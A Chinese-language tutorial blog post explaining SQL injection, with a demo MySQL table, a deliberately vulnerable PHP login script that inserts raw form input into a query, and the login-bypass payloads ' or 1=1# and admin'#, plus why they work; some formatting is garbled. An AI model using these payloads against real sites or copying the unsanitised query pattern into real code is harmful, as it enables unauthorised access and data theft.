常見SQL注入的方法
WEB安全之SQL注入
引言:
在開發網站的時候,出于安全考慮,需要過濾從頁面傳遞過來的字符。通常,用戶可以通過以下接口調用數據庫的內容:URL地址欄、登陸界面、留言板、搜索框等。這往往給駭客留下了可乘之機。輕則數據遭到泄露,重則服務器被拿下。
一、SQL注入步驟
a)尋找注入點,構造特殊的語句
傳入SQL語句可控參數分為兩類?
1. 數字類型,參數不用被引號括起來,如?id=1?
2. 其他類型,參數要被引號擴起來,如?name=”phone”
b)用戶構造SQL語句(如:’or 1=1#;admin’#(這個注入又稱PHP的萬能密碼,是已知用戶名的情況下,可繞過輸入密碼)以后再做解釋)
c)將SQL語句發送給DBMS數據庫
d)DBMS收到返回的結果,并將該請求解釋成機器代碼指令,執行必要得到操作
e)DBMS接受返回結果,處理后,返回給用戶
因為用戶構造了特殊的SQL語句,必定返回特殊的結果(只要你的SQL語句夠靈活)
下面,我通過一個實例具體來演示下SQL注入
二、SQL注入實例詳解(以上測試均假設服務器未開啟magic_quote_gpc)?
1) 前期準備工作
先來演示通過SQL注入漏洞,登入后臺管理員界面
首先,創建一張試驗用的數據表:?
CREATE?TABLE?`users`?( `id`?int(11)?NOT?NULL?AUTO_INCREMENT, `username`?varchar(64)?NOT?NULL, `password`?varchar(64)?NOT?NULL, `email`?varchar(64)?NOT?NULL,PRIMARY?KEY?(`id`),UNIQUE?KEY?`username`?(`username`) )?ENGINE=MyISAM?AUTO_INCREMENT=3?DEFAULT?CHARSET=latin1;
添加一條記錄用于測試:
INSERT?INTO?users?(username,password,email)VALUES('MarcoFly',md5('test'),'marcofly@test.com');
接下來,貼上登入界面的源代碼
?? ??<title>Sql注入演示</title>? ??<meta>? ?? ?? ??
??? ?
附上效果圖:
當用戶點擊提交按鈕的時候,將會把表單數據提交給validate.php頁面,validate.php頁面用來判斷用戶輸入的用戶名和密碼有沒有都符合要求(這一步至關重要,也往往是SQL漏洞所在)
!?????????????????????????????????????????<!--前臺和后臺對接--> <title>登錄驗證</title><meta><?php $conn=@mysql_connect("localhost",'root','') or die("數據庫連接失敗!");; mysql_select_db("injection",$conn) or die("您要選擇的數據庫不存在"); $name=$_POST['username']; $pwd=$_POST['password']; $sql="select * from users where username='$name' and password='$pwd'"; $query=mysql_query($sql); $arr=mysql_fetch_array($query); if(is_array($arr)){ header("Location:manager.php"); }else{ echo "您的用戶名或密碼輸入有誤,<a href="Login.php">請重新登錄!"; } ?>
注意到了沒有,我們直接將用戶提交過來的數據(用戶名和密碼)直接拿去執行,并沒有實現進行特殊字符過濾,待會你們將明白,這是致命的。
代碼分析:如果,用戶名和密碼都匹配成功的話,將跳轉到管理員操作界面(manager.php),不成功,則給出友好提示信息。
登錄成功的界面:
?登錄失敗的提示:
到這里,前期工作已經做好了,接下來將展開我們的重頭戲:SQL注入
?2) 構造SQL語句
填好正確的用戶名(marcofly)和密碼(test)后,點擊提交,將會返回給我們“歡迎管理員”的界面。
因為根據我們提交的用戶名和密碼被合成到SQL查詢語句當中之后是這樣的:
select?*?from?users?where?username='marcofly'?and?password=md5('test')
很明顯,用戶名和密碼都和我們之前給出的一樣,肯定能夠成功登陸。但是,如果我們輸入一個錯誤的用戶名或密碼呢?很明顯,肯定登入不了吧。恩,正常情況下是如此,但是對于有SQL注入漏洞的網站來說,只要構造個特殊的“字符串”,照樣能夠成功登錄。
比如:在用戶名輸入框中輸入:’ or 1=1#,密碼隨便輸入,這時候的合成后的SQL查詢語句為:
select?*?from?users?where?username=''?or?1=1#'?and?password=md5('')
語義分析:“#”在mysql中是注釋符,這樣井號后面的內容將被mysql視為注釋內容,這樣就不會去執行了,換句話說,以下的兩句sql語句等價:?
select?*?from?users?where?username=''?or?1=1#'?and?password=md5('')
等價于
select*?from?users?where?usrername=''?or?1=1
因為1=1永遠是都是成立的,即where子句總是為真,將該sql進一步簡化之后,等價于如下select語句:
select?*?from?users
沒錯,該sql語句的作用是檢索users表中的所有字段?
上面是一種輸入方法,這里再介紹一種注入的方法,這個方法又稱PHP的萬能密碼
我們再已知用戶名的條件下,可以不能密碼即可登入,假設用戶名:admin
構造語句:
select?*?from?users?where?username='admin'#'?and?password=md5('')
等價于
select?*?from?users?where?username='admin'
這樣即可不能輸入密碼登入上去的。
數據庫就會錯認為不用用戶名既可以登入,繞過后臺的驗證,已到達注入的目的。
同樣利用了SQL語法的漏洞。
看到了吧,一個經構造后的sql語句竟有如此可怕的破壞力,相信你看到這后,開始對sql注入有了一個理性的認識了吧~
沒錯,SQL注入就是這么容易。但是,要根據實際情況構造靈活的sql語句卻不是那么容易的。有了基礎之后,自己再去慢慢摸索吧。
有沒有想過,如果經由后臺登錄窗口提交的數據都被管理員過濾掉特殊字符之后呢?這樣的話,我們的萬能用戶名’ or 1=1#就無法使用了。但這并不是說我們就毫無對策,要知道用戶和數據庫打交道的途徑不止這一條。
推薦:《mysql教程》